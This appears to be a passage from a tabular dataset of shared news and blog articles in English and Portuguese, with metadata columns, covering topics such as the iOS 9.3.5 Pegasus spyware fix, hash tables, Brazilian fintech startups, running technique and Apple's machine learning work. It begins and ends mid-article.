dos dados estatísticos abertos, especialmente, no que tange às questões mais delicadas das mulheres no Brasil como, por exemplo, o feminicídio, o assédio, a lesbo, bi e a transfobia, o desemprego de mães e mulheres especialmente relacionadas ao etarismo. No momento, muitas das nossas integrantes, dentro e fora da organização, atuam em iniciativas públicas e privadas endereçando tais questões. Com uma maior força organizacional teremos a possibilidade de dividir e auxiliar a comunidade em relação aos editais governamentais mais críticos. Também no HuffPost Brasil: O envolvimento de software e tecnologia livre é imprescindível nas nossas oficinas. Recentemente, nas oficinas mais técnicas cedidas para o projeto Vedetas, temos sido acompanhadas por um público que tem profundo interesse e pouquíssima intimidade com ferramentas livres, sistemas operacionais de código aberto e tecnologias seguras, mas que estão dispostos a trabalhar os hábitos e assimilar gradualmente tal filosofia em suas vidas. Temos integrantes com muita participação no núcleo da comunidade de software livre, profissionais que atuam diretamente na implementação e desenvolvimento de tecnologias abertas, e isso acaba criando uma empatia e uma disposição em nos procurar e dividir experiências e dúvidas. No momento, não menos importante do que incentivar a utilização de software livre, seguro e antiespionagem, buscamos educar as pessoas para que façam isso com as tecnologias que já trabalham e dependem, em uma migração sadia, menos forçosa e aterrorizante (temos relatos de várias mulheres que se sentiram desencorajadas em avançar nesse tema por conta da abordagem incisiva de alguns membros da comunidade, em sua maioria homens). Na última Cryptorave , marcamos presença na Install Fest com um saldo positivo: dos 15 computadores ""libertados"" [ para software livre ], quatro eram de mulheres. Além disso, tivemos uma conversa bastante sadia e de encorajamento das outras mulheres, que saíram de lá com uma perspectiva mais positiva para essa migração. Para esse semestre, temos projetos de fazer a nossa própria Install Fest e iniciar oficinas de média duração com temas como manutenção preventiva e sustentável de computadores, iniciação ao Linux e ao Shell Script para automação cotidiana de tarefas e segurança preventiva para computadores pessoais e smartphones. Ainda estamos relativamente distantes da possibilidade de um espaço itinerante de ensino e de um hackerspace. Porém, estamos conseguindo alcançar um número crescente de mulheres que, muito além de serem capacitadas, ganharam protagonismo e, hoje, atuam em diversas áreas do conhecimento tecnológico. Algumas com seus próprios projetos pessoais e coletivos de fins variados, mas todas em torno de um objetivo comum que é o protagonismo da mulher nas ciências exatas. No último ano, alcançamos uma projeção que, por vezes, está, até mesmo, além das nossas mãos. Mesmo com as dificuldades de gestão conseguimos estender nossos ideais para além dos ambientes exclusivamente femininos. Atualmente, mantemos o blog Faça Você Mesma , no Link, dentro do portal do Estadão, sem perder a autonomia e sem abandonar os valores que nos acompanham desde o princípio. Acima de tudo, poder atuar nas demandas de educação profissional da mulher, em que tanto iniciativas públicas quanto privadas não têm chegado, é sem dúvida uma realização que torna nossa energia renovável e mais vibrante. LEIA MAIS: - Em que tipo de aprendizagem você acredita? - Pensa um menino da zona rural querendo ser fotógrafo e viajar o mundo. Não era assim antes",pt
1472151227,CONTENT SHARED,-4707863452603278075,693665567872370395,7579835801177008236,,,,HTML,https://9to5mac.com/2016/08/25/ios-9-3-5-serious-security-fix/,"PSA: iOS 9.3.5 fixes serious security exploit that exposed contacts, texts, calls, &amp; emails","Now that the just-released iOS 9.3.5 security update is now available, details about what exactly it fixes have been green lighted for release as well. Both Vice and NYT have detailed accounts of the very serious security issue that iOS 9.3.5 fixes... The New York Times describes the exploit as one believed to be found an effort ""to spy on dissidents and journalists."" Investigators discovered that a company called the NSO Group, an Israeli outfit that sells software that invisibly tracks a target's mobile phone, was responsible for the intrusions. The NSO Group's software can read text messages and emails and track calls and contacts. It can even record sounds, collect passwords and trace the whereabouts of the phone user. In response, Apple on Wednesday released a patched version of its mobile software, iOS 9.3.5. Users can get the patch through a normal software update. The report notes that the exploit was fixed 10 days after first being discovered, an an Apple spokesperson added that all customers should update to the new software version. Vice has a more eery account of how the exploit came to light: On the morning of August 10, Ahmed Mansoor, a 46-year-old human rights activist from the United Arab Emirates, received a strange text message from a number he did not recognize on his iPhone. ""New secrets about torture of Emiratis in state prisons,"" read the tantalizing message, which came accompanied by a link. Mansoor, who had already been the victim of government hackers using commercial spyware products from FinFisher and Hacking Team , was suspicious and didn't click on the link. Instead, he sent the message to Bill Marczak, a researcher at Citizen Lab, a digital rights watchdog at the University of Toronto's Munk School of Global Affairs. And here's more detail on the surveillance company behind the exploit: Since its founding in 2010, NSO has developed a reputation for providing sophisticated malware to governments that need to target cellphones in their investigations, although the use of its tools has never been documented before. The company claims that its products are completely stealthy, like a ""ghost."" The company has been so guarded about its wares that it's never had a website, and has rarely given interviews or any comments to the press. But some information has leaked out, including a sale for $120 million to a US-based venture capital firm in 2014 and a subsequent reported valuation of $1 billion. NOS's malware, which the company codenamed Pegasus, is designed to quietly infect an iPhone and be able to steal and intercept all data inside of it, as well as any communication going through it. The full piece is worth a read, and all readers should advise family and friends to take the iOS 9.3.5 seriously if privacy is a concern.",en
1472153743,CONTENT SHARED,-2271000159302779222,-3390049372067052505,-8234741624611736934,,,,HTML,https://medium.freecodecamp.com/hash-table-attack-8e4371fc5261?gi=7ca4362e014c,The moment when you realize every server in the world is vulnerable - Free Code Camp,"The moment when you realize every server in the world is vulnerable Hash tables. Dictionaries. Associative arrays. Whatever you like to call them, they are everywhere in software. They are core. And when someone finds a vulnerability in such a low-level data structure, almost all software is implicated. This is a story of one of those core vulnerabilities, and how it took a decade to uncover and resolve. The story is pretty amazing. But for context, let's review what hash tables are. Hash Tables 101 (Skip this if you already know how hash tables work.) Hash tables are incredibly convenient and fast. They let you put labels on things and throw them into memory buckets, and later on you can pull them back out and use them for whatever you want. They were invented in the 1950s and their underlying mechanics haven't changed much over the years. Let's create a hash table and put some stuff in it: Each key and value will be stored in a bucket in memory. Lets say we start out with 5 empty buckets. When we add the key 'a', which bucket should it go into? We want to be able to find it easily later. This is where the hashing function comes in. Every hash table is backed by a deterministic hashing function that turns any key into to a large, fixed-length number, which we call the hash. So the hash for 'a' might be 12416037344. Because it's deterministic, if we run the hash function on 'a' again sometime later, we'll still get 12416037344. Now that we have the hash for our key, we need to reduce that hash into a bucket number (0-4 in our case). The simplest way to do this is to modulo by the number of buckets: Great. So 'a' goes into bucket #4. Now, if we keep going and hash 'b', we get 12544037731. And (12544037731 % 5) is 1. So 'b' goes into bucket #1. Now let's add 'f' to the table. Hashing 'f' yields 13056039271. And (13056039271 % 5) is 1. But we already have something in bucket #1! What now? We have a collision. Hash table collisions happen pretty often. One of the simplest ways to resolve collisions is to set each bucket up as a list, and just keep adding to that list whenever a collision occurs. Here's what that might look like: As we add more keys, it's fine to grow these lists. When we are looking up a key, we simply look through the target bucket's list for the key we're interested in. Collisions open the door to the biggest weakness in hash tables. As soon as we have collisions, the time required for accessing an element starts creeping up because we have to loop through the list within the bucket. When hash tables were invented, the selection of a great hash function came down to two things: Performance. It must be fast as hell. Of course. Uniform density output. A great hash function should consistently, uniformly distribute arbitrary keys nicely across the hash table, because we want to avoid collisions as much as possible. And that was it. Security was not in the picture. Some very simple, very fast general purpose hash functions were developed over the years, and they worked well for several decades.",en
1472155140,CONTENT SHARED,-1255189867397298842,-1602833675167376798,4192634096957413914,,,,HTML,https://pagamento.me/idwall-a-startup-de-dados-que-bancos-fintechs-e-empresas-de-pagamento-estao-de-olho/,"Idwall, a startup de dados que bancos, fintechs e empresas de pagamento estão de olho.","A ""face"" do novo segmento financeiro realmente é outra. As fintechs colocaram de fato os bancos na parede. Não na ameaça de quebrarem ou de terem suas receitas perdidas (ainda). Mas sim na questão de inovação. As fintechs estão empurrando os bancos contra a parede, obrigando-os a produzirem ou comprarem inovação. E por incrível que pareça, bancos (pelo menos os digitais) não são mais instituições criadas por super financistas e economistas somente. A revolução financeira trouxe novos tipos de empreendedores do segmento financeiro. Olhe por exemplo Pedro Conrade do , uma startup de dados que já nasceu na raiz do problema mais preocupante para empresas financeiras, especialmente bancos e fintechs. No Banco Neon , com apenas 24 anos. Esse é também o perfil da Idwall golpes que usam documentação falsa chegam a custar R$ 11 bilhões ao país."" site da startup há a notícia em destaque: "" Daí para frente, dá para imaginar a resolução de problemas que a Idwall se propõe a resolver. Engenheiros formados no Vale do Silício O perfil dos fundadores da Idwall não é de espantar quem frequenta o Google Campus , espaço inaugurado recentemente em São Paulo, para ser um epicentro de inovação e negócios voltados para tecnologia. É justamente lá que a Idwall vai passar os próximos 12 meses. Selecionados dentre as mais de 800 inscrições de startups, vão ser os primeiros residentes (juntamente com mais 10 novas empresas) que foram selecionadas pelo próprio Google. Mas o que eles têm de diferente dos outros? Fundada por três jovens na faixa de 25 anos, a Idwall é uma promessa de encher os olhos de qualquer investidor anjo, fato esse que ocorreu antes da empresa ter seu primeiro cliente. Eles captaram investimento Seed com investidores anjos influentes e com vasta experiência no setor, depois de validarem a primeira versão do produto que faz automação de checagens de dados, KYC (know your customer), verificação de usuários e controle de prevenção a fraudes. ""Golpes que usam documentação falsa chegam a custar R$ 11 bi ao país - Jornal O Globo. Lincoln Ando, Renan Esposte e Raphael Melo (os fundadores) parecem universitários recém formados, mas são de fato, a nova cara da tecnologia que São Paulo está produzindo. Mas o que será que o Google, bancos, adquirentes e investidores viram neles? Banco Original, Vale do Silício e IBM Watson Quando tinham apenas 21 anos aproximadamente, Lincoln e Raphael trabalharam na criação do Banco Original, arquitetando a matriz de análise risco de crédito do banco e nas primeiras aplicações do banco. Depois do banco, apostaram em empreendimentos que deram certo e que serviram de base para a criação do Idwall. Lincoln Ando, ainda morou no Vale do Silício, onde passou por um processo na 500Startups , uma das maiores aceleradoras do mundo. Nesse caminho acharam o Renan, que desenvolveu projetos na área de telecomunicações envolvendo o processamento de grandes conjuntos de dados, e em diversas iniciativas utilizando os serviços cognitivos do super computador IBM Watson , tais como reconhecimento de voz, processamento de linguagem natural e inteligência artificial. Essa combinação é o DNA da Idwall: inteligência artificial aplicada ao processo de decisão de empresas. Procurados por bancos, adquirentes, sub-adquirentes, financeiras de crédito e até marketplaces on-demand, a Idwall está eliminando a checagem manual de dados. Para ter uma ideia da dimensão inicial dessa startups, a 99 (o app de táxis líder no país) confiou na Idwall para a checagem de seus novos motoristas. Golaço! Mercado exponencial O tamanho do mercado é grande e já conta com gigantes como a Serasa Experian , estes porém, demoram um pouco mais para produzirem inovação. Isso aumenta o potencial de crescimento de startups como a Idwall, que vem para ajudar os setores financeiro e do varejo, a analisarem cada vez mais, dados sobre seus consumidores e parceiros. Essa é também uma das grandes apostas do mercado americano, com startups como Checkr , Blockscore que receberam juntas cerca de R$164 milhões. Para fazer o quê? Fornecer tecnologia para que qualquer empresa possa automatizar seu processo de checagem de dados. Essa é inclusive a lacuna para essas novas empresas substituírem players tradicionais, pelo menos é o que ocorre atualmente no mercado americano (no brasileiro também). A maioria dos backoffices operacionais que necessitam de análise de crédito, checagem de dados e até coleta de informações de diferentes fontes, costumam manter processos manuais e isso custa muito caro. A chegada de empresas como essa, potencializa a escala de negócios como aplicativos de táxis, fintechs de pagamento, de crédito, de investimentos, bancos digitais (que agora podem abrir contas pela internet) e financeiras. Apesar das ""fintechs"" terem abraçado a startup, a tecnologia pode ser aplicada em diversos negócios, setores ou indústrias. Até pequenos negócios podem resolver problemas com checagem de dados usando um dashboard. A combinação de inteligência artificial com dados financeiros é uma super matéria prima para a indústria de pagamentos. É algo que simplesmente ainda não despertou e que faz com que empresas como a Idwall, sejam indispensáveis daqui para frente. Lincoln, fundador da Idwall estará no evento Innovation Pay .",pt
1472155197,CONTENT SHARED,9191014301634017491,-1602833675167376798,4192634096957413914,,,,HTML,https://pagamento.me/clickpag-agora-e-redepay/,Clickpag agora é Rede Pay,"Clickpag, a iniciativa da Rede para facilitar pagamentos agora é Rede Pay ! Desde a semana passada o portal da empresa já tem o novo nome. Apesar de aparentar ainda em desenvolvimento, a ferramenta já está conectada com dados de correntistas do Itau, conforme noticiamos em primeira mão aqui. É cultura do Itau, mudar nome e posicionamento de marcas. Isso não é diferente das empresas do grupo. A empresa ainda não se posicionou sobre a mudança, mas já dá para ver a ""cara"" da nova marca. Agora, será que a solução finalmente vai para frente? Dado importante: já existe uma empresa com o nome de ""Redepay"" no mercado de pagamentos, que registrou a marca Redepay no começo do ano, segundo dados do INPI . Inclusive, com domínios registrados em nome. Resta saber se a Rede sabia disso. O que achou da mudança? Comente!",pt
1472204785,CONTENT SHARED,4036103329046553070,-1443636648652872475,8773171497951102618,,,,HTML,https://techcrunch.com/2016/08/25/spacenet-satellite-imagery-repository-launched-by-digitalglobe-cosmiq-works-and-nvidia-on-aws/,"SpaceNet satellite imagery repository launched by DigitalGlobe, CosmiQ Works and NVIDIA on AWS","A consortium of companies, including DigitalGlobe , CosmiQ Works and NVIDIA , today launched SpaceNet , an open-data initiative aimed at improving image analysis tools. The data are being hosted by Amazon Web Services as part of a partnership. With an increase in the number of CubeSats, high-resolution satellites and drones of every shape and size, we have accumulated petabytes of imagining data that can be processed with analytics to solve myriad problems. DigitalGlobe, which operates imaging satellites, has built out partnerships with companies like Facebook to target rural villages with internet access using photography as a guide. Satellite imaging has also been analyzed to help the Navy find Somali pirates, crowdsource the hunt for Malaysia Airlines flight 370 and identify deforestation zones. Just this week, CrowdAI graced the stage of Y Combinator Demo Days with a platform that promises to leverage computer vision and machine learning to automatically annotate and quantify data hidden within satellite photography. The satellite imagery in the SpaceNet database will be able to serve as training data for new generations of intelligent analytics tools for deconstructing large quantities of imagery and quickly generating insights. As our processing capabilities grow in availability, and our algorithms and statistical tools become more efficient, so-called ""training"" time for machine learning is decreasing. As a result, for the first time, it's becoming possible to work through massive, complex data sets in hours and minutes instead of years and months. The consortium of companies that contributed to SpaceNet want to make sure that the imaging data exists to take advantage of advancements in computer vision and machine learning. As of now, DigitalGlobe is offering 200,000 building footprints across the city of Rio de Janeiro, at no cost. The curated set will eventually include more than 60 million labeled high-resolution images. In addition to DigitalGlobe, NVIDIA and CosmiQ Works are also supporting the rollout of SpaceNet. NVIDIA is going to provide researchers and developers with tools to take advantage of the new images. CosmiQ Works is affiliated with In-Q-Tel , the venture capital arm of the CIA, and helps the intelligence community onboard tools from startups focused on space. Both the public and private sector have a lot to gain from better post-capture analysis tools to help automate processes previously relegated to crowdsourcing or painstaking individual search. ""Innovation of AI algorithms is fueled by large, high-quality, labeled datasets like SpaceNet and flexible, open-source machine learning tools,"" said Dr. Jon Barker, Solutions Architect at NVIDIA. ""Researchers will be able to create high-impact geospatial applications by applying our DIGITS deep learning tool to the SpaceNet data corpus."" The project and its name are a play off of ImageNet, a similar database of images created to help catalyze early advancements in computer vision.",en
1472215855,CONTENT SHARED,-6463637573325658465,-6067316262393890508,6987480795989757055,,,,HTML,http://www.sonhoseguro.com.br/2016/08/carros-conectados-impulsionarao-diferentes-industrias/,Carros conectados impulsionarão diferentes indústrias | Sonho Seguro,"Fonte: Artigo de Ronald Rowlands, consultor de pré-vendas do SAS Brasil, publicado pelo portal Canantech Muitos fãs de James Bond devem se lembrar do icônico Aston Martin DB5, um superesportivo que marcou os cinemas no filme 007 - Goldfinger. Além de um assento ejetável e outros artifícios, o carro era dotado de um computador com sistema de navegação a satélite. Cerca de 50 anos se passaram desde a estreia do filme e continuamos não tendo tais assentos, mas certamente, progredimos quando o assunto envolve carros conectados. Imagine controlar todas as funcionalidades do seu carro pelo smartphone, ter a bordo um computador inteligente que programe todas as suas preferências, sensores embutidos para alertar assistência mecânica e até um sistema capaz de dirigir o carro por você? Tudo isso já existe - e é provável que você tenha um desses em poucos anos. Segundo o Gartner, são esperados 250 milhões de automóveis conectados à Internet das Coisas (IoT) até 2020. Somente nos EUA, já circulam mais de 40 milhões de automóveis conectados à IoT, o que representa 15% do montante. Diferente do mercado norte-americano, a nossa 'tímida' frota de 42 milhões de veículos ainda roda devagar em conectividade, mas representando um mercado promissor para diversas indústrias - e a inteligência analítica está por de trás disso. Carros conectados poderão gerar dezenas de gigabytes de dados por hora, que podem ser estruturadas em informações valiosas para as empresas, especialmente a respeito do comportamento e dos desejos dos motoristas. Essas necessidades têm aproximado cada vez mais as empresas de TI do setor automotivo e outras ligadas a ele. Oportunidades com a IoT Para o mercado de seguros, um dos mais beneficiados, o potencial analítico da IoT permite que diversas informações do veículo e do motorista possam servir para analisar riscos, oferecer precificações personalizadas e até identificar fraudes. E com o monitoramento em tempo real, as seguradoras podem ficar cada vez mais proativas, alertando para problemas mecânicos no veículo, identificando comportamentos de risco e trajetos suspeitos, além de acionar resgate ao detectar acionamento dos airbags. Da mesma forma, as montadoras estão correndo para agregar as tecnologias Machine-to-Machine (M2M) na linha de produção e coletar dados para oferecer novos serviços aos clientes. Os dados podem ser analisados para identificar avarias, trocas de óleo, agendar revisões e prever a necessidade de recalls antes mesmo dos veículos apontarem problemas, mitigando gastos que podem chegar a centenas de milhões de dólares. E com as informações armazenadas em nuvem, os próprios clientes podem acessá-las e acompanhar trajetos, acionar aplicativos e muito mais. Além de montadoras, esse movimento da Internet das Coisas também está mudando o modo como fornecedores de peças e serviços do setor automotivo lidam com a informação. No caso da fabricante de pneus Continental, por exemplo, foram desenvolvidos produtos com sistema de sensores embutidos, alertando para os níveis de calibragem e desgaste dos pneus, transmitidos em tempo real para o motorista. Diversas outras áreas e indústrias estão empenhadas em desenvolver serviços e ações de marketing com os motoristas conectados. Por meio da geolocalização e inteligência analítica, até os postos de gasolina e serviços de drive-thru, por exemplo, podem identificar perfis e oferecer promoções personalizadas. Para que todas essas conexões ocorram, um dos pilares centrais e mais envolvidos com carros conectados é o setor de telecomunicações. No Brasil, empresas de telecom têm se empenhado em desenvolver soluções para carros conectados. Elas já oferecem dispositivos M2M para monitorar os componentes elétricos e eletrônicos dos veículos, especialmente em modelos mais recentes. E com a consolidação dessas tecnologias, o próximo passo evolutivo será a adoção em massa de carros autônomos, embarcados com tecnologias Vehicle-to-Vehicle (V2V), capazes de se comunicarem com outros carros, estradas inteligentes e cidades inteiras conectadas. Somente esse mercado deve trazer uma economia de US$ 5,6 trilhões ao reduzir engarrafamentos e acidentes de trânsito. Desafios enfrentados no Brasil Certamente o cenário para os próximos anos é promissor, mas ainda temos desafios a serem vencidos. É necessário que alguns investimentos sejam feitos especialmente na infraestrutura de telecom. Em um país como o Brasil, de extensões continentais, é preciso cobrir os 'pontos cegos' e corrigir as instabilidades de rede. E com o crescimento global da IoT para os próximos anos, prevendo até 50 bilhões de dispositivos conectados em 2020, as operadoras também precisam gerenciar demandas exponencialmente maiores, minuto a minuto. O volume de dados transmitidos pelos carros pode se tornar tão grande que apresentaria risco de sobrecarregar o tráfego de dados nas redes, causando panes de conexão e, até, inviabilizando alguns serviços dos veículos nas horas de pico em centros urbanos. Além disso, serão necessárias ferramentas cada vez mais poderosas de análise em tempo real para processar todos esses dados. Enquanto alguns enxergam obstáculos, outros vislumbram uma gama de oportunidades promissoras para ganhar competitividade com esses investimentos em IoT, que devem chegar a R$ 350 bilhões no Brasil. Em breve, estaremos conectados em todas as nossas atividades do dia a dia, e o modo como lidamos com os nossos automóveis não será diferente. A diferença ficará para quem souber usar esses dados para gerar novos negócios e transformar a indústria.",pt
1472218158,CONTENT SHARED,3268827390679661574,-1443636648652872475,8773171497951102618,,,,HTML,http://thenextweb.com/video/2016/08/26/video-steve-wozniak-discusses-the-importance-of-education-and-teaching-kids-how-to-code/,Video: Steve Wozniak discusses the importance of education,"When faced with the dilemma, Steve Jobs and Bill Gates both opted to drop out of college to pursue other passions - the former to work on Apple and the latter on Microsoft . Since then, this snippet of history has become a parable for success across the globe and probably the most cited example that you don't need a college degree to achieve greatness. Similarly to Jobs and Gates, Apple co-founder Steve Wozniak didn't finish his degree either - not the first time at least. After completing three years of college, Woz ditched school to work at Hewlett-Packard before eventually partnering up with Jobs to start Apple in 1976. Less known is the fact that after his time at Apple, Woz went back to college in 1985 and graduated with a degree in Engineering the following year. In a recent interview with The Conversation , Woz opens up about his decision to go back to school and touches upon the importance of education for both children and adults. He also speculates about the future of online education and mulls over the best ways to teach kids how to code. Woz additionally skips through a few other topics including the best programming languages to get started with as well as dealing with privacy in the digital age. Having always struggled to find inspiration at school, I really enjoyed hearing the perspective of someone who can speak about education with as much depth and wisdom as Woz does. While I'm not sure it would've made my university experience more enjoyable, I can certainly appreciate an opinion that doesn't merely discuss school as a trampoline to success. If you have 15 minutes to spare, check out the full interview in the section above or just click here . Interview: Steve Wozniak, Apple co-founder and inventor of the home computer on The Conversation Mix is a tech writer based in Amsterdam that loves cinema and probably hates the movies that you like. Tell him everything you despise about his work on Twitter or pitch him your terrible ideas via email .",en
1472219774,CONTENT SHARED,490726311396224966,-6611967527589759673,8901087364602214534,,,,HTML,https://www.ativo.com/corrida-de-rua/treinamento-de-corrida/passada-longa-ou-curta/,Passada longa ou curta?,"É muito comum ouvir corredores dizendo ""fulano corre rápido porque tem a passada longa"". Mas será que ter uma grande amplitude na corrida significa ter mais velocidade no asfalto? Parece que não. Para melhorar a performance e ainda prevenir lesões, estudos recentes têm mostrado que o ideal é diminuir o comprimento do passo, porém aumentando a sua frequência. De acordo com os pesquisadores, o pé não deve aterrissar no chão muito distante do tronco, já que desta forma o atleta colocaria no solo primeiro o calcanhar, causando um impacto maior sobre as articulações e aumentando, assim, as chances de lesão. Além disso, o movimento muito amplo pode gerar um gasto maior de energia, pois muitos corredores acabam saltando a cada passada para conseguirem manter a velocidade. O correto seria, portanto, dar passos curtos. Mas como conseguir uma boa performance assim? A solução está em aumentar a cadência, ou seja, a quantidade de passos por minuto. Após analisar algumas provas de atletismo das Olimpíadas de Los Angeles 1984, o fisiologista e treinador norte-americano Jack Daniels constatou que os atletas profissionais tinham uma cadência de pelo menos 180 passos por minuto. O número passou, então, a ser visto como ideal no mundo da corrida, mas, como explica a treinadora Adriana Genioli, ele não se aplica a todos os corredores. ""A corrida tem que ser confortável e natural, então cada atleta deve procurar descobrir qual a sua cadência e trabalhar para melhorá-la, mas sem se preocupar em atingir a meta de 180"", defende. 10 esportes que ajudam na corrida Exercícios para turbinar sua corrida E para calcular este número é bem simples: corra em seu ritmo natural e conte quantas vezes, dentro de um minuto, sua perna direita toca o chão. Depois é só multiplicar o resultado por dois e você terá a sua cadência. ""O atleta que quiser melhorar sua cadência deve multiplicar esse número encontrado por 1,1 e treinar para chegar nesse novo valor"". Por exemplo, se o corredor tem uma frequência de 160 passadas por minuto, o seu objetivo será chegar em 176, o que representa um aumento de 10%. ""Isso deve ser feito, contudo, sempre com o acompanhamento de um profissional porque mudanças bruscas na frequência e no comprimento da passada podem ser prejudiciais ao atleta"", alerta. Para conseguir aumentar a cadência, o corredor precisa melhorar sua mecânica da corrida, tornando-a mais eficiente. E a maneira de conseguir isso é por meio de exercícios educativos. Abaixo, a treinadora sugere cinco movimentos a serem realizados durante os treinos: 1. Skiping Alto e Baixo Objetivo: correção e aumento do tamanho da passada Execução: corrida parada elevando o joelho até a altura do quadril (skiping alto) e elevação de 45º (skiping baixo). Manter os braços em um ângulo de 90º. 2. Anfersen Objetivo: melhorar a elevação do calcanhar Execução: corrida parada ou em deslocamento elevando o calcanhar até os glúteos, coordenando o movimento com o do braço. 3. Dribling Objetivo: fortalecer e aumentar a mobilidade do tornozelo Execução: sem sair do lugar, elevar o calcanhar alternadamente sem tirar os pés do chão ao mesmo tempo em que faz o movimento lateral dos braços. 4. Hopserlauf Objetivo: melhorar a postura do quadril Execução: elevar pernas e braços alternadamente dando um pequeno salto a cada elevação. Pode ser feito parado ou em deslocamento. 5. Kick out Objetivo: aumentar a amplitude da passada Execução: correr jogando os pés alternadamente para frente, como se estivesse chutando. Coordenar com o movimento lateral dos braços. (Fonte: Adriana Genioli, diretora técnica da AG Assessoria)",pt
1472225771,CONTENT SHARED,-6940659689413147290,-1443636648652872475,8773171497951102618,,,,HTML,https://backchannel.com/an-exclusive-look-at-how-ai-and-machine-learning-work-at-apple-8dbfb131932b?gi=2be825953fc8,An Exclusive Look at How AI and Machine Learning Work at Apple - Backchannel,"An exclusive inside look at how artificial intelligence and machine learning work at Apple On July 30, 2014, Siri had a brain transplant. Three years earlier, Apple had been the first major tech company to integrate a smart assistant into its operating system. Siri was the company's adaptation of a standalone app it had purchased, along with the team that created it, in 2010. Initial reviews were ecstatic, but over the next few months and years, users became impatient with its shortcomings. All too often, it erroneously interpreted commands. Tweaks wouldn't fix it. So Apple moved Siri voice recognition to a neural-net based system for US users on that late July day (it went worldwide on August 15, 2014.) Some of the previous techniques remained operational - if you're keeping score at home, this includes ""hidden Markov models"" - but now the system leverages machine learning techniques, including deep neural networks (DNN), convolutional neural networks, long short-term memory units, gated recurrent units, and n-grams. (Glad you asked.) When users made the upgrade, Siri still looked the same, but now it was supercharged with deep learning. As is typical with under-the-hood advances that may reveal its thinking to competitors, Apple did not publicize the development. If users noticed, it was only because there were fewer errors. In fact, Apple now says the results in improving accuracy were stunning. ""This was one of those things where the jump was so significant that you do the test again to make sure that somebody didn't drop a decimal place,"" says Eddy Cue, Apple's senior vice president of internet software and services. This story of Siri's transformation, revealed for the first time here, might raise an eyebrow in much of the artificial intelligence world. Not that neural nets improved the system -  of course they would do that - but that Apple was so quietly adept at doing it. Until recently, when Apple's hiring in the AI field has stepped up and the company has made a few high-profile acquisitions, observers have viewed Apple as a laggard in what is shaping up as the most heated competition in the industry: the race to best use those powerful AI tools. Because Apple has always been so tight-lipped about what goes on behind badged doors, the AI cognoscenti didn't know what Apple was up to in machine learning. ""It's not part of the community,"" says Jerry Kaplan, who teaches a course at Stanford on the history of artificial intelligence. ""Apple is the NSA of AI."" But AI's Brahmins figured that if Apple's efforts were as significant as Google's or Facebook's, they would have heard that. ""In Google, Facebook, Microsoft you have the top people in machine learning,"" says Oren Etzioni of the Allen Institute for AI. ""Yes, Apple has hired some people. But who are the five leaders of machine learning who work for Apple? Apple does have speech recognition, but it isn't clear where else [machine learning] helps them. Show me in your product where machine learning is being used! ""I'm from Missouri,"" says Etzioni, who is actually from Israel. ""Show me."" Well, earlier this month, Apple did show where machine learning is being used in its products - not to Etzioni, but to me. (Oren, please read.) I spent the better part of a day in the boardroom of One Infinite Loop at the Cupertino headquarters, getting a core dump of the company's activities in AI and machine learning from top Apple executives (Cue, senior worldwide marketing vice president Phil Schiller, and senior vice president of software engineering Craig Federighi), as well as two key Siri scientists. As we sat down, they handed me a dense, two-page agenda listing machine-learning-imbued Apple products and services - ones already shipping or about to - that they would discuss. The message: We're already here. A player. Second to none. But we do it our way. If you're an iPhone user, you've come across Apple's AI, and not just in Siri's improved acumen in figuring out what you ask of her. You see it when the phone identifies a caller who isn't in your contact list (but did email you recently). Or when you swipe on your screen to get a shortlist of the apps that you are most likely to open next. Or when you get a reminder of an appointment that you never got around to putting into your calendar. Or when a map location pops up for the hotel you've reserved, before you type it in. Or when the phone points you to where you parked your car, even though you never asked it to. These are all techniques either made possible or greatly enhanced by Apple's adoption of deep learning and neural nets. Yes, there is an ""Apple brain"" - it's already inside your iPhone. ""We've been seeing over the last five years a growth of this inside Apple,"" says Phil Schiller. ""Our devices are getting so much smarter at a quicker rate, especially with our Apple design A series chips. The back ends are getting so much smarter, faster, and everything we do finds some reason to be connected. This enables more and more machine learning techniques, because there is so much stuff to learn, and it's available to [us]."" Even as Apple is bear-hugging machine learning, the executives caution that the embrace is, in a sense, business as usual for them. The Cupertino illuminati view deep learning and ML as only the latest in a steady flow of groundbreaking technologies. Yes, yes, it's transformational, but not more so than other advances, like touch screens, or flat panels, or object-oriented programming. In Apple's view, machine learning isn't the final frontier, despite what other companies say. ""It's not like there weren't other technologies over the years that have been instrumental in changing the way we interact with devices,"" says Cue. And no one at Apple wants to even touch on the spooky/scary speculations that invariably come up in AI discussions. As you'd expect, Apple wouldn't confirm whether it was working on self-driving cars, or its own version of Netflix. But the team made it pretty clear that Apple was not working on Skynet . ""We use these techniques to do the things we have always wanted to do, better than we've been able to do,"" says Schiller. ""And on new things we haven't be able to do. It's a technique that will ultimately be a very Apple way of doing things as it evolves inside Apple and in the ways we make products."" Yet as the briefing unfolds, it becomes clear how much AI has already shaped the overall experience of using the Apple ecosystem. The view from the AI establishment is that Apple is constrained by its lack of a search engine (which can deliver the data that helps to train neural networks) and its inflexible insistence on protecting user information (which potentially denies Apple data it otherwise might use). But it turns out that Apple has figured out how to jump both those hurdles. How big is this brain, the dynamic cache that enables machine learning on the iPhone? Somewhat to my surprise when I asked Apple, it provided the information: about 200 megabytes, depending on how much personal information is stored (it's always deleting older data). This includes information about app usage, interactions with other people, neural net processing, a speech modeler, and ""natural language event modeling."" It also has data used for the neural nets that power object recognition, face recognition, and scene classification. And, according to Apple, it's all done so your preferences, predilections, and peregrinations are private. Though Apple wasn't explaining everything about its AI efforts, I did manage to get resolution on how the company distributes ML expertise around its organization. The company's machine learning talent is shared throughout the entire company, available to product teams who are encouraged to tap it to solve problems and invent features on individual products. ""We don't have a single centralized organization that's the Temple of ML in Apple,"" says Craig Federighi. ""We try to keep it close to teams that need to apply it to deliver the right user experience."" How many people at Apple are working on machine learning? ""A lot,"" says Federighi after some prodding. (If you thought he'd give me the number, you don't know your Apple.) What's interesting is that Apple's ML is produced by many people who weren't necessarily trained in the field before they joined the company. ""We hire people who are very smart in fundamental domains of mathematics, statistics, programming languages, cryptography,"" says Federighi. ""It turns out a lot of these kinds of core talents translate beautifully to machine learning. Though today we certainly hire many machine learning people, we also look for people with the right core aptitudes and talents."" Though Federighi doesn't say it, this approach might be a necessity: Apple's penchant for secrecy puts it at a disadvantage against competitors who encourage their star computer scientists to widely share research with the world. ""Our practices tend to reinforce a natural selection bias - those who are interested in working as a team to deliver a great product versus those whose primary motivation is publishing,"" says Federighi. If while improving an Apple product scientists happen to make breakthroughs in the field, that's great. ""But we are driven by a vision of the end result,"" says Cue. Some talent in the field comes from acquisitions. ""We've recently been buying 20 to 30 companies a year that are relatively small, really hiring the manpower,"" says Cue. When Apple buys an AI company, it's not to say, ""here's a big raw bunch of machine learning researchers, let's build a stable of them,"" says Federighi. ""We're looking at people who have that talent but are 